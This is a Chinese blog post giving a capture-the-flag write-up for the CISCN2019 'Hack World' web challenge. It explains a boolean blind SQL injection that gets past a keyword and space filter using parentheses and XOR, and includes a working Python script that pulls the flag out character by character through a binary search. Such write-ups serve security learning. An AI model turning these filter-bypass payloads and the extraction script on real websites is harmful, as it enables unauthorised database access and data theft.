zoukankan      html  css  js  c++  java
  • 刷题记录--[CISCN2019 华北赛区 Day2 Web1]Hack World

    1. 引言

    题目链接:https://buuoj.cn/challenges#[CISCN2019 华北赛区 Day2 Web1]Hack World

    2. 解题思路

    1. 输入 1 或者 2 都有正常回显,但是输入1和2的回显不同输入其他会返回false,猜测为bool型注入。
      image
      image

    2. 空格、*、#、-、+、&、or、and等常规的SQL注入符号都被过滤了。
      image

    3. 输入1/1,0^1的结果和输入1的结果相同,说明为数值型注入,且可以使用盲注。
      image

    4. 利用ascii()和substr()方法进行盲注。

    substr(string string,num start,num length);
    select substr(参数1,参数2,参数3) from 表名`
    string为字符串;start为起始位置;length为长度。
    注意:mysql中的start是从1开始的。

    ascii(substr((select(flag)from(flag)),i,1))=s
    id=1^(ascii(substr((select(flag)from(flag)),i,1))>s)  //二分法
    

    i为整型数,表示flag字段中某一个位置,s为可打印ascii字符,如果flag中第i个字符与字符s一样,那么该语句为true,否则为false,结合二分法的话可以提高盲注脚本的效率。
    盲注脚本如下:

    import requests
    import time
    
    url='http://512bce8a-d748-455e-a8fd-bc960e4fc4ee.node3.buuoj.cn/index.php'
    flag = ''
    for i in range(1,43):
    	max = 127
    	min = 32
    	while True:
    		s = int(((max+min)/2))
    		payload = '1^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'
    		# print(payload)
    		r = requests.post(url,data = {'id':payload})
    		time.sleep(0.1)     #防止请求速度过快,被BUUCTF平台屏蔽请求
    		if 'Hello, glzjin wants a girlfriend.' in str(r.content):
    			max=s
    		else:
    			min=s
    		if((max-min)<=1):
    			# print(min)
    			# print(max)
    			flag+=chr(int(max))
    			print(flag)
    			break
    print(flag)
  • 相关阅读:
    uva 12169 Disgruntled Judge
    uva 11582 Colossal Fibonacci Numbers!
    ACdream 1073
    ACdream 1061 郭式树
    《构建之法》读书笔记
    南阳oj 素数求和问题
    hdoj Problem-1007 A hard puzzle
    程序员不得不知的 Navicat 实用工具
    Beyond Compare怎么对比图片差异
    教您用Beyond Compare比较十六进制文件
  • 原文地址:https://www.cnblogs.com/s1awwhy/p/14655503.html
Copyright © 2011-2022 走看看